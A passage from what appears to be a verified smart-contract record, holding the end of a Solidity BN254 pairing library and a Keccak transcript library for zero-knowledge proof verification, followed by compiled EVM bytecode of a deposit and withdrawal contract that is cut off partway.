r_mod); } function sub_assign(Fr memory self, Fr memory other) internal pure { self.value = addmod(self.value, r_mod - other.value, r_mod); } function mul_assign(Fr memory self, Fr memory other) internal pure { self.value = mulmod(self.value, other.value, r_mod); } function pow(Fr memory self, uint256 power) internal view returns (Fr memory) { uint256[6] memory input = [32, 32, 32, self.value, power, r_mod]; uint256[1] memory result; bool success; assembly { success := staticcall(gas(), 0x05, input, 0xc0, result, 0x20) } require(success); return Fr({value: result[0]}); } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } function new_g1(uint256 x, uint256 y) internal pure returns (G1Point memory) { return G1Point(x, y); } function new_g1_checked(uint256 x, uint256 y) internal pure returns (G1Point memory) { if (x == 0 && y == 0) { // point of infinity is (0,0) return G1Point(x, y); } // check encoding require(x < q_mod); require(y < q_mod); // check on curve uint256 lhs = mulmod(y, y, q_mod); // y^2 uint256 rhs = mulmod(x, x, q_mod); // x^2 rhs = mulmod(rhs, x, q_mod); // x^3 rhs = addmod(rhs, bn254_b_coeff, q_mod); // x^3 + b require(lhs == rhs); return G1Point(x, y); } function new_g2(uint256[2] memory x, uint256[2] memory y) internal pure returns (G2Point memory) { return G2Point(x, y); } function copy_g1(G1Point memory self) internal pure returns (G1Point memory result) { result.X = self.X; result.Y = self.Y; } function P2() internal pure returns (G2Point memory) { // for some reason ethereum expects to have c1*v + c0 form return G2Point( [0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2, 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed], [0x090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b, 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa] ); } function negate(G1Point memory self) internal pure { // The prime q in the base field F_q for G1 if (self.Y == 0) { require(self.X == 0); return; } self.Y = q_mod - self.Y; } function point_add(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { point_add_into_dest(p1, p2, r); return r; } function point_add_assign(G1Point memory p1, G1Point memory p2) internal view { point_add_into_dest(p1, p2, p1); } function point_add_into_dest(G1Point memory p1, G1Point memory p2, G1Point memory dest) internal view { if (p2.X == 0 && p2.Y == 0) { // we add zero, nothing happens dest.X = p1.X; dest.Y = p1.Y; return; } else if (p1.X == 0 && p1.Y == 0) { // we add into zero, and we add non-zero point dest.X = p2.X; dest.Y = p2.Y; return; } else { uint256[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success = false; assembly { success := staticcall(gas(), 6, input, 0x80, dest, 0x40) } require(success); } } function point_sub_assign(G1Point memory p1, G1Point memory p2) internal view { point_sub_into_dest(p1, p2, p1); } function point_sub_into_dest(G1Point memory p1, G1Point memory p2, G1Point memory dest) internal view { if (p2.X == 0 && p2.Y == 0) { // we subtracted zero, nothing happens dest.X = p1.X; dest.Y = p1.Y; return; } else if (p1.X == 0 && p1.Y == 0) { // we subtract from zero, and we subtract non-zero point dest.X = p2.X; dest.Y = q_mod - p2.Y; return; } else { uint256[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = q_mod - p2.Y; bool success = false; assembly { success := staticcall(gas(), 6, input, 0x80, dest, 0x40) } require(success); } } function point_mul(G1Point memory p, Fr memory s) internal view returns (G1Point memory r) { point_mul_into_dest(p, s, r); return r; } function point_mul_assign(G1Point memory p, Fr memory s) internal view { point_mul_into_dest(p, s, p); } function point_mul_into_dest(G1Point memory p, Fr memory s, G1Point memory dest) internal view { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s.value; bool success; assembly { success := staticcall(gas(), 7, input, 0x60, dest, 0x40) } require(success); } function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; assembly { success := staticcall(gas(), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) } require(success); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } } library TranscriptLibrary { // flip 0xe000000000000000000000000000000000000000000000000000000000000000; uint256 constant FR_MASK = 0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; uint32 constant DST_0 = 0; uint32 constant DST_1 = 1; uint32 constant DST_CHALLENGE = 2; struct Transcript { bytes32 state_0; bytes32 state_1; uint32 challenge_counter; } function new_transcript() internal pure returns (Transcript memory t) { t.state_0 = bytes32(0); t.state_1 = bytes32(0); t.challenge_counter = 0; } function update_with_u256(Transcript memory self, uint256 value) internal pure { bytes32 old_state_0 = self.state_0; self.state_0 = keccak256(abi.encodePacked(DST_0, old_state_0, self.state_1, value)); self.state_1 = keccak256(abi.encodePacked(DST_1, old_state_0, self.state_1, value)); } function update_with_fr(Transcript memory self, PairingsBn254.Fr memory value) internal pure { update_with_u256(self, value.value); } function update_with_g1(Transcript memory self, PairingsBn254.G1Point memory p) internal pure { update_with_u256(self, p.X); update_with_u256(self, p.Y); } function get_challenge(Transcript memory self) internal pure returns(PairingsBn254.Fr memory challenge) { bytes32 query = keccak256(abi.encodePacked(DST_CHALLENGE, self.state_0, self.state_1, self.challenge_counter)); self.challenge_counter += 1; challenge = PairingsBn254.Fr({value: uint256(query) & FR_MASK}); } }
0x6080604052600436106102e15760003560e01c80638ac7d29611610190578063c57b22be116100dc578063e7f40cf611610095578063fa6b53c31161006f578063fa6b53c314610d09578063faf4d8cb14610d46578063fc97a30314610d5b578063ffeec23714610d8e576102e1565b8063e7f40cf614610c75578063e96aa20514610c8a578063f3a4d4af14610cbd576102e1565b8063c57b22be14610b56578063c94c5b7c14610b6b578063c9c6539614610bad578063cc54f02614610be8578063cd24ee0814610c14578063e17376b514610c29576102e1565b8063a2f9f1ce11610149578063b5d6b8be11610123578063b5d6b8be14610a95578063b7c7316514610aaa578063bc5cd7ba14610ae2578063c488a09c14610b23576102e1565b8063a2f9f1ce146109fd578063a5dcdf7114610a53578063b269b9ae146108b2576102e1565b80638ac7d296146108dc5780638ae20dc9146108f15780638d43428a146109305780638ed8327114610963578063922e1492146109945780639a83400d146109a9576102e1565b806334f6bb1c1161024f57806367708dae1161020857806378b91e70116101e257806378b91e70146107d65780637d490798146107eb578063871b8ff1146108b25780638773334c146108c7576102e1565b806367708dae1461075e5780636a387fc91461077357806377d6e067146107a3576102e1565b806334f6bb1c146105b85780633b154b73146105e95780633c06e514146105fe5780633c6461a914610613578063439fab911461066c5780635cd0783e146106e7576102e1565b80632a3174f4116102a15780632a3174f4146104d15780632b8c062a146104e65780632d24006c146105205780632d2da806146105355780632f804bd21461055b57806334c961fc1461058e576102e1565b8060e21461034d57806310603dad1461038e5780631523ab05146103d857806321ae605414610406578063253946451461042d578063264c0912146104a8575b6013546001600160a01b0316806103295760405162461bcd60e51b815260040180806020018281038252602681526020018061414c6026913960400191505060405180910390fd5b3660008037600080366000845af43d6000803e808015610348573d6000f35b3d6000fd5b34801561035957600080fd5b5061038c6004803603604081101561037057600080fd5b50803563ffffffff1690602001356001600160a01b0316610da3565b005b34801561039a57600080fd5b506103bc600480360360208110156103b157600080fd5b503561ffff16610fea565b604080516001600160a01b039092168252519081900360200190f35b3480156103e457600080fd5b506103ed611005565b6040805163ffffffff9092168252519081900360200190f35b34801561041257600080fd5b5061041b611018565b60408051918252519081900360200190f35b34801561043957600080fd5b5061038c6004803603602081101561045057600080fd5b810190602081018135600160201b81111561046a57600080fd5b82018360208201111561047c57600080fd5b803590602001918460018302840111600160201b8311171561049d57600080fd5b50909250905061103c565b3480156104b457600080fd5b506104bd611040565b604080519115158252519081900360200190f35b3480156104dd57600080fd5b5061041b611049565b3480156104f257600080fd5b506104bd6004803603604081101561050957600080fd5b50803563ffffffff16906020013561ffff16611051565b34801561052c57600080fd5b506103ed611071565b61038c6004803603602081101561054b57600080fd5b50356001600160a01b0316611084565b34801561056757600080fd5b5061038c6004803603602081101561057e57600080fd5b50356001600160401b0316611118565b34801561059a57600080fd5b5061038c600480360360208110156105b157600080fd5b5035611445565b3480156105c457600080fd5b506105cd6114b0565b604080516001600160401b039092168252519081900360200190f35b3480156105f557600080fd5b5061038c6114c6565b34801561060a57600080fd5b506103ed6114c8565b34801561061f57600080fd5b506106476004803603602081101561063657600080fd5b50356001600160501b0319166114db565b604080516001600160801b03909316835260ff90911660208301528051918290030190f35b34801561067857600080fd5b5061038c6004803603602081101561068f57600080fd5b810190602081018135600160201b8111156106a957600080fd5b8201836020820111156106bb57600080fd5b803590602001918460018302840111600160201b831117156106dc57600080fd5b509092509050611502565b3480156106f357600080fd5b506107176004803603602081101561070a57600080fd5b503563ffffffff166115e5565b6040805163ffffffff97881681526001600160401b03909616602087015293909516848401526060840191909152608083015260a082019290925290519081900360c00190f35b34801561076a57600080fd5b506105cd61162e565b34801561077f57600080fd5b5061038c6004803603602081101561079657600080fd5b503563ffffffff1661163d565b3480156107af57600080fd5b5061038c600480360360208110156107c657600080fd5b50356001600160801b0316611a93565b3480156107e257600080fd5b5061038c611b19565b3480156107f757600080fd5b5061081e6004803603602081101561080e57600080fd5b50356001600160401b0316611b2c565b6040518084600b81111561082e57fe5b60ff16815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561087557818101518382015260200161085d565b50505050905090810190601f1680156108a25780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b3480156108be57600080fd5b5061038c611be0565b3480156108d357600080fd5b506104bd611bf1565b3480156108e857600080fd5b5061041b611bfb565b3480156108fd57600080fd5b5061041b6004803603604081101561091457600080fd5b5080356001600160a01b0316906020013563ffffffff16611c01565b34801561093c57600080fd5b5061038c6004803603602081101561095357600080fd5b50356001600160a01b0316611c1e565b34801561096f57600080fd5b50610978611e01565b604080516001600160801b039092168252519081900360200190f35b3480156109a057600080fd5b506104bd611e10565b3480156109b557600080fd5b50610978600480360360808110156109cc57600080fd5b506001600160a01b0381358116916020810135909116906001600160801b0360408201358116916060013516611e19565b348015610a0957600080fd5b50610a2d60048036036020811015610a2057600080fd5b503563ffffffff166120a9565b604080516001600160a01b03909316835261ffff90911660208301528051918290030190f35b348015610a5f57600080fd5b5061038c60048036036040811015610a7657600080fd5b5080356001600160801b031690602001356001600160a01b03166120d1565b348015610aa157600080fd5b506103bc612228565b348015610ab657600080fd5b506104bd60048036036040811015610acd57600080fd5b5063ffffffff81358116916020013516612237565b348015610aee57600080fd5b5061038c60048036036060811015610b0557600080fd5b508035906001600160a01b0360208201358116916040013516612257565b348015610b2f57600080fd5b5061038c60048036036020811015610b4657600080fd5b50356001600160801b031661233f565b348015610b6257600080fd5b506105cd612449565b348015610b7757600080fd5b5061038c60048036036040811015610b8e57600080fd5b5080356001600160a01b031690602001356001600160801b031661245f565b348015610bb957600080fd5b5061038c60048036036040811015610bd057600080fd5b506001600160a01b0381358116916020013516612653565b348015610bf457600080fd5b50610bfd61290b565b6040805161ffff9092168252519081900360200190f35b348015610c2057600080fd5b506103ed612915565b348015610c3557600080fd5b5061038c60048036036060811015610c4c57600080fd5b506001600160a01b0381358116916001600160681b036020820135169160409091013516612921565b348015610c8157600080fd5b506103bc612e27565b348015610c9657600080fd5b50610bfd60048036036020811015610cad57600080fd5b50356001600160a01b0316612e36565b348015610cc957600080fd5b5061038c60048036036060811015610ce057600080fd5b506001600160a01b0381358116916001600160801b036020820135169160409091013516612ed6565b348015610d1557600080fd5b5061097860048036036040811015610d2c57600080fd5b5080356001600160a01b0316906020013561ffff166130f4565b348015610d5257600080fd5b506103ed61312f565b348015610d6757600080fd5b50610bfd60048036036020811015610d7e57600080fd5b50356001600160a01b0316613142565b348015610d9a57600080fd5b5061041b613158565b6000805160206141728339815191525480610df3576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b600060008051602061417283398151915255610e0d61315e565b630fffffff63ffffffff84161115610e54576040805162461bcd60e51b8152602060048201526005602482015264666565313160d81b604482015290519081900360640190fd5b60006001600160a01b038316610e6c57506000610f2a565b600754604080516375698bb160e11b81526001600160a01b0386811660048301529151919092169163ead31762916024808301926020929190829003018186803b158015610eb957600080fd5b505afa158015610ecd573d6000803e3d6000fd5b505050506040513d6020811015610ee357600080fd5b50519050613fff61ffff82161115610f2a576040805162461bcd60e51b81526020600482015260056024820152643332b2989960d91b604482015290519081900360640190fd5b610f32613ffb565b60405180608001604052808663ffffffff168152602001336001600160a01b031681526020018361ffff16815260200160006001600160801b031681525090506060610f7d8261319e565b9050610f9a60068260405180602001604052806000815250613233565b6000610fa6338561345e565b6001600160501b0319166000908152600960205260409020805460ff60801b191660ff60801b17905550506001600080516020614172833981519152555050505050565b6001602052600090815260409020546001600160a01b031681565b600b54600160601b900463ffffffff1681565b7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081565b5050565b600f5460ff1681565b620a8c005b90565b600d60209081526000928352604080842090915290825290205460ff1681565b600b54600160401b900463ffffffff1681565b60008051602061417283398151915254806110d4576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b6000600080516020614172833981519152556110ee61315e565b61110260006110fc3461347b565b846134c3565b6001600080516020614172833981519152555050565b6000805160206141728339815191525480611168576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b600060008051602061417283398151915255600f5460ff166111b9576040805162461bcd60e51b8152602060048201526005602482015264636f65303160d81b604482015290519081900360640190fd5b6012546000906111d990600160401b90046001600160401b03168461358a565b90506000816001600160401b031611611221576040805162461bcd60e51b815260206004820152600560248201526431b7b2981960d91b604482015290519081900360640190fd5b6012546001600160401b03165b6012546001600160401b039081168301811690821610156113e55760016001600160401b03821660009081526011602052604090205460ff16600b81111561127257fe5b14156113a557611280613ffb565b61134960116000846001600160401b03166001600160401b031681526020019081526020016000206001018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561133f5780601f106113145761010080835404028352916020019161133f565b820191906000526020600020905b81548152906001019060200180831161132257829003601f168201915b50505050506135b4565b9050600061135f8260600151836020015161345e565b6040928301516001600160501b031991909116600090815260096020529290922080546001600160801b031981166001600160801b039182169094011692909217909155505b6001600160401b0381166000908152601160205260408120805460ff19168155906113d36001830182614022565b5060006002919091015560010161122e565b506012805467ffffffffffffffff60401b1967ffffffffffffffff1982166001600160401b039283168501831617908116600160401b91829004831694909403909116029190911790555050600160008051602061417283398151915255565b60075460408051633d7e13b560e21b815233600482015290516001600160a01b039092169163f5f84ed491602480820192600092909190829003018186803b15801561149057600080fd5b505afa1580156114a4573d6000803e3d6000fd5b50505060169190915550565b601254600160801b90046001600160401b031681565b565b600b54600160201b900463ffffffff1681565b6009602052600090815260409020546001600160801b03811690600160801b900460ff1682565b6007546001600160a01b031615611548576040805162461bcd60e51b81526020600482015260056024820152640696e6974360dc1b604482015290519081900360640190fd5b61155061365e565b6000806000808585608081101561156657600080fd5b50600580546001600160a01b03602084013581166001600160a01b03199283161790925560068054604085013584169083161790556007805484358416908316179055600880546060909401359092169216919091179055505060158054600160551b6001600160801b03199091161790555050620557306016555050565b600c60205260009081526040902080546001820154600283015460039093015463ffffffff808416946001600160401b03600160201b86041694600160601b9004909116929186565b6012546001600160401b031681565b600080516020614172833981519152548061168d576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b60006000805160206141728339815191525560006116bd83600b60049054906101000a900463ffffffff16613672565b600b8054600160201b80820463ffffffff908116859003811690910267ffffffff00000000198316178082168501821663ffffffff199091161790925591925016805b82820163ffffffff168163ffffffff161015611a295763ffffffff81166000908152600a6020526040812080546001600160b01b0319811690915561ffff600160a01b820416916001600160a01b039091169061175d828461345e565b6001600160501b031981166000908152600960205260409020549091506001600160801b03168015611a1a576001600160501b03198216600090815260096020526040812080546001600160801b03808216859003166001600160801b031990911617905561ffff85166117e757836117df816001600160801b03851661368d565b9150506119da565b600061400061ffff8716101561187957600754604080516310603dad60e01b815261ffff8916600482015290516001600160a01b03909216916310603dad91602480820192602092909190829003018186803b15801561184657600080fd5b505afa15801561185a573d6000803e3d6000fd5b505050506040513d602081101561187057600080fd5b50519050611898565b5061ffff85166000908152600160205260409020546001600160a01b03165b6001600160a01b0381166118dc576040805162461bcd60e51b815260206004808301919091526024820152630637774360e41b604482015290519081900360640190fd5b601654604080516001600160a01b038481166024830152881660448201526001600160801b038616606482018190526084808301919091528251808303909101815260a490910182526020810180516001600160e01b0316639a83400d60e01b1781529151815130949382918083835b6020831061196b5780518252601f19909201916020918201910161194c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038160008787f1925050503d80600081146119ce576040519150601f19603f3d011682016040523d82523d6000602084013e6119d3565b606091505b5090925050505b80611a18576001600160501b03198316600090815260096020526040902080546001600160801b038082168501166001600160801b03199091161790555b505b50505050806001019050611700565b5063ffffffff821615611a7b576040805163ffffffff808416825284840116602082015281517f9b5478c99b5ca41beec4f6f6084126d6f9e26382d017b4bb67c37c9e8453a313929181900390910190a15b50506001600080516020614172833981519152555050565b60075460408051633d7e13b560e21b815233600482015290516001600160a01b039092169163f5f84ed491602480820192600092909190829003018186803b158015611ade57600080fd5b505afa158015611af2573d6000803e3d6000fd5b5050601580546001600160801b0319166001600160801b0394909416939093179092555050565b6003805460ff1916600117905542600455565b6011602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f810186900486028301860190965285825260ff909216949293909290830182828015611bd05780601f10611ba557610100808354040283529160200191611bd0565b820191906000526020600020905b815481529060010190602001808311611bb357829003601f168201915b5050505050908060020154905083565b6003805460ff191690556000600455565b600f5460ff161590565b60165481565b601060209081526000928352604080842090915290825290205481565b611c2661315e565b60075460408051630c883eb560e41b815233600482015290516001600160a01b039092169163c883eb5091602480820192600092909190829003018186803b158015611c7157600080fd5b505afa158015611c85573d6000803e3d6000fd5b5050600754604080516375698bb160e11b81526001600160a01b03868116600483015291516000955091909216925063ead3176291602480820192602092909190829003018186803b158015611cda57600080fd5b505afa158015611cee573d6000803e3d6000fd5b505050506040513d6020811015611d0457600080fd5b5051600854604080516364e329cb60e11b81526000600482018190526001600160a01b038781166024840152925194955093919092169163c9c6539691604480830192602092919082900301818787803b158015611d6157600080fd5b505af1158015611d75573d6000803e3d6000fd5b505050506040513d6020811015611d8b57600080fd5b505190506001600160a01b038116611ddc576040805162461bcd60e51b815260206004820152600f60248201526e1c185a5c881a5cc81a5b9d985b1a59608a1b604482015290519081900360640190fd5b611de5816136f2565b611dfc6000808486611df686612e36565b86613822565b505050565b6015546001600160801b031681565b60035460ff1681565b6000333014611e57576040805162461bcd60e51b8152602060048201526005602482015264077746731360dc1b604482015290519081900360640190fd5b6001600160a01b03851660008181526002602090815260408083205481516370a0823160e01b8152306004820152915161ffff90911694926370a082319260248082019391829003018186803b158015611eb057600080fd5b505afa158015611ec4573d6000803e3d6000fd5b505050506040513d6020811015611eda57600080fd5b5051905061ffff821615611f7457611ef187612e36565b5060085460408051636361ddf360e11b81526001600160a01b038a8116600483015289811660248301526001600160801b03891660448301529151919092169163c6c3bbe691606480830192600092919082900301818387803b158015611f5757600080fd5b505af1158015611f6b573d6000803e3d6000fd5b50505050611fc1565b611f888787876001600160801b0316613913565b611fc1576040805162461bcd60e51b8152602060048201526005602482015264777467313160d81b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038a16916370a0823191602480820192602092909190829003018186803b15801561200b57600080fd5b505afa15801561201f573d6000803e3d6000fd5b505050506040513d602081101561203557600080fd5b50519050600061204b838363ffffffff613a3a16565b9050856001600160801b0316811115612093576040805162461bcd60e51b81526020600482015260056024820152643bba33989960d91b604482015290519081900360640190fd5b61209c8161347b565b9998505050505050505050565b600a602052600090815260409020546001600160a01b03811690600160a01b900461ffff1682565b6000805160206141728339815191525480612121576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b6000600080516020614172833981519152556001600160a01b038216612176576040805162461bcd60e51b8152602060048201526005602482015264697061313160d81b604482015290519081900360640190fd5b61218260008484613a7c565b6040516000906001600160a01b0384169085908381818185875af1925050503d80600081146121cd576040519150601f19603f3d011682016040523d82523d6000602084013e6121d2565b606091505b5050905080612210576040805162461bcd60e51b8152602060048201526005602482015264333bb2989960d91b604482015290519081900360640190fd5b50600160008051602061417283398151915255505050565b6013546001600160a01b031681565b600e60209081526000928352604080842090915290825290205460ff1681565b6013546001600160a01b03161561229d576040805162461bcd60e51b8152602060048201526005602482015264737261613160d81b604482015290519081900360640190fd5b6014546001600160a01b0316156122e3576040805162461bcd60e51b815260206004820152600560248201526439b930b09960d91b604482015290519081900360640190fd5b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116eb92909255601380546001600160a01b039283166001600160a01b03199182161790915560148054929093169116179055565b600080516020614172833981519152548061238f576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b6000600080516020614172833981519152556123ad60008333613a7c565b604051600090339084908381818185875af1925050503d80600081146123ef576040519150601f19603f3d011682016040523d82523d6000602084013e6123f4565b606091505b5050905080612432576040805162461bcd60e51b8152602060048201526005602482015264667765313160d81b604482015290519081900360640190fd5b506001600080516020614172833981519152555050565b601254600160401b90046001600160401b031681565b60008051602061417283398151915254806124af576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b60006000805160206141728339815191528190556001600160a01b03841681526002602052604081205461ffff16908161256357600754604080516375698bb160e11b81526001600160a01b0388811660048301529151919092169163ead31762916024808301926020929190829003018186803b15801561253057600080fd5b505afa158015612544573d6000803e3d6000fd5b505050506040513d602081101561255a57600080fd5b5051905061256f565b61256c85612e36565b90505b600061257b338361345e565b6001600160501b031981166000908152600960209081526040808320548151639a83400d60e01b81526001600160a01b038c1660048201523360248201526001600160801b038b8116604483015290911660648201819052915194955090933092639a83400d926084808201939182900301818787803b1580156125fe57600080fd5b505af1158015612612573d6000803e3d6000fd5b505050506040513d602081101561262857600080fd5b50519050612637848233613a7c565b5050505050600160008051602061417283398151915255505050565b61265b61315e565b60075460408051630c883eb560e41b815233600482015290516001600160a01b039092169163c883eb5091602480820192600092909190829003018186803b1580156126a657600080fd5b505afa1580156126ba573d6000803e3d6000fd5b5050600754604080516375698bb160e11b81526001600160a01b03878116600483015291516000955091909216925063ead3176291602480820192602092909190829003018186803b15801561270f57600080fd5b505afa158015612723573d6000803e3d6000fd5b505050506040513d602081101561273957600080fd5b5051600754604080516375698bb160e11b81526001600160a01b0386811660048301529151939450600093919092169163ead31762916024808301926020929190829003018186803b15801561278e57600080fd5b505afa1580156127a2573d6000803e3d6000fd5b505050506040513d60208110156127b857600080fd5b50519050601f61ffff83161115612816576040805162461bcd60e51b815260206004820152601a60248201527f746f6b656e412073686f756c642062652066656520746f6b656e000000000000604482015290519081900360640190fd5b600854604080516364e329cb60e11b81526001600160a01b03878116600483015286811660248301529151600093929092169163c9c653969160448082019260209290919082900301818787803b15801561287057600080fd5b505af1158015612884573d6000803e3d6000fd5b505050506040513d602081101561289a57600080fd5b505190506001600160a01b0381166128eb576040805162461bcd60e51b815260206004820152600f60248201526e1c185a5c881a5cc81a5b9d985b1a59608a1b604482015290519081900360640190fd5b6128f4816136f2565b61290483868487611df686612e36565b5050505050565b60005461ffff1681565b600b5463ffffffff1681565b6000805160206141728339815191525480612971576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b60006000805160206141728339815191525561298b61315e565b6001600160a01b03841660009081526002602052604081205461ffff169081612a2e57600754604080516375698bb160e11b81526001600160a01b0389811660048301529151919092169163ead31762916024808301926020929190829003018186803b1580156129fb57600080fd5b505afa158015612a0f573d6000803e3d6000fd5b505050506040513d6020811015612a2557600080fd5b50519050612a3a565b612a3786612e36565b91505b6000808061ffff851615612c5657604080516370a0823160e01b815233600482015290516001600160a01b038b16916370a08231916024808301926020929190829003018186803b158015612a8e57600080fd5b505afa158015612aa2573d6000803e3d6000fd5b505050506040513d6020811015612ab857600080fd5b50516008549093506001600160a01b031663f6b911bc8a33612ae26001600160681b038d1661347b565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b03168152602001826001600160801b031681526020019350505050600060405180830381600087803b158015612b5357600080fd5b505af1158015612b67573d6000803e3d6000fd5b5050604080516370a0823160e01b815233600482015290516001600160a01b038d1693506370a0823192506024808301926020929190829003018186803b158015612bb157600080fd5b505afa158015612bc5573d6000803e3d6000fd5b505050506040513d6020811015612bdb57600080fd5b50519150612bf7612bf2848463ffffffff613a3a16565b61347b565b6015549091506001600160801b039081169082161115612c46576040805162461bcd60e51b8152602060048201526005602482015264666430313160d81b604482015290519081900360640190fd5b612c518582896134c3565b612e0a565b604080516370a0823160e01b815230600482015290516001600160a01b038b16916370a08231916024808301926020929190829003018186803b158015612c9c57600080fd5b505afa158015612cb0573d6000803e3d6000fd5b505050506040513d6020811015612cc657600080fd5b50519250612cf0893330612ce26001600160681b038d1661347b565b6001600160801b0316613b3f565b612d29576040805162461bcd60e51b8152602060048201526005602482015264333218189960d91b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038b16916370a08231916024808301926020929190829003018186803b158015612d6f57600080fd5b505afa158015612d83573d6000803e3d6000fd5b505050506040513d6020811015612d9957600080fd5b50519150612db0612bf2838563ffffffff613a3a16565b6015549091506001600160801b039081169082161115612dff576040805162461bcd60e51b8152602060048201526005602482015264666430313360d81b604482015290519081900360640190fd5b612e0a8482896134c3565b505050505060016000805160206141728339815191525550505050565b6014546001600160a01b031681565b6001600160a01b03811660009081526002602052604081205461ffff1680612e8e576040805162461bcd60e51b81526020600480830191909152602482015263706d733360e01b604482015290519081900360640190fd5b61ffff8181161115612ed0576040805162461bcd60e51b815260206004808301919091526024820152631c1b5ccd60e21b604482015290519081900360640190fd5b92915050565b6000805160206141728339815191525480612f26576040805162461bcd60e51b815260206004820152601f602482015260008051602061412c833981519152604482015290519081900360640190fd5b6000600080516020614172833981519152556001600160a01b038216612f7b576040805162461bcd60e51b815260206004820152600560248201526434b830989960d91b604482015290519081900360640190fd5b6001600160a01b03841660009081526002602052604081205461ffff16908161301e57600754604080516375698bb160e11b81526001600160a01b0389811660048301529151919092169163ead31762916024808301926020929190829003018186803b158015612feb57600080fd5b505afa158015612fff573d6000803e3d6000fd5b505050506040513d602081101561301557600080fd5b5051905061302a565b61302786612e36565b90505b6000613036858361345e565b6001600160501b031981166000908152600960209081526040808320548151639a83400d60e01b81526001600160a01b038d811660048301528b1660248201526001600160801b038c8116604483015290911660648201819052915194955090933092639a83400d926084808201939182900301818787803b1580156130bb57600080fd5b505af11580156130cf573d6000803e3d6000fd5b505050506040513d60208110156130e557600080fd5b50519050612e0a848289613a7c565b600060096000613104858561345e565b6001600160501b03191681526020810191909152604001600020546001600160801b03169392505050565b600b54600160801b900463ffffffff1681565b60026020526000908152604090205461ffff1681565b60045481565b600f5460ff16156114c6576040805162461bcd60e51b8152602060048201526005602482015264667265313160d81b604482015290519081900360640190fd5b60608160000151826020015183604001518460600151604051602001808563ffffffff1663ffffffff1660e01b8152600401846001600160a01b03166001600160a01b031660601b81526014018361ffff1661ffff1660f01b8152600201826001600160801b03166001600160801b031660801b81526010019450505050506040516020818303038152906040529050919050565b60125460408051606081019091524361438001916001600160401b03808216600160401b9092041601908086600b81111561326a57fe5b8152602080820187905260409182018590526001600160401b038416600090815260119091522081518154829060ff1916600183600b8111156132a957fe5b021790555060208281015180516132c69260018501920190614069565b50604082015181600201559050507f61a320c641d3946236359022627bfeb930f7a628b0d863a325a1d4983f2e423833828787878760405180876001600160a01b03166001600160a01b03168152602001866001600160401b03166001600160401b0316815260200185600b81111561333b57fe5b60ff1681526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561338657818101518382015260200161336e565b50505050905090810190601f1680156133b35780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156133e65781810151838201526020016133ce565b50505050905090810190601f1680156134135780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a150506012805460016001600160401b03600160401b808404821692909201160267ffffffffffffffff60401b19909116179055505050565b60a01b61ffff60a01b166001600160a01b03919091161760501b90565b6000600160801b82106134bf5760405162461bcd60e51b81526004018080602001828103825260278152602001806141926027913960400191505060405180910390fd5b5090565b6134cb613ffb565b6040518060800160405280600063ffffffff1681526020018561ffff168152602001846001600160801b03168152602001836001600160a01b03168152509050606061351682613c6f565b905061353360018260405180602001604052806000815250613233565b604080516001600160801b038616815290516001600160a01b0385169161ffff88169133917fb6866b029f3aa29cd9e2bff8159a8ccaa4389f7a087c710968e0b200c0c73b08919081900360200190a45050505050565b6000816001600160401b0316836001600160401b0316106135ab57816135ad565b825b9392505050565b6135bc613ffb565b60006135c88382613cd9565b63ffffffff16835290506135dc8382613cf2565b61ffff16602084015290506135f18382613d02565b6001600160801b03166040840152905061360b8382613d12565b6001600160a01b031660608401529050602a8114613658576040805162461b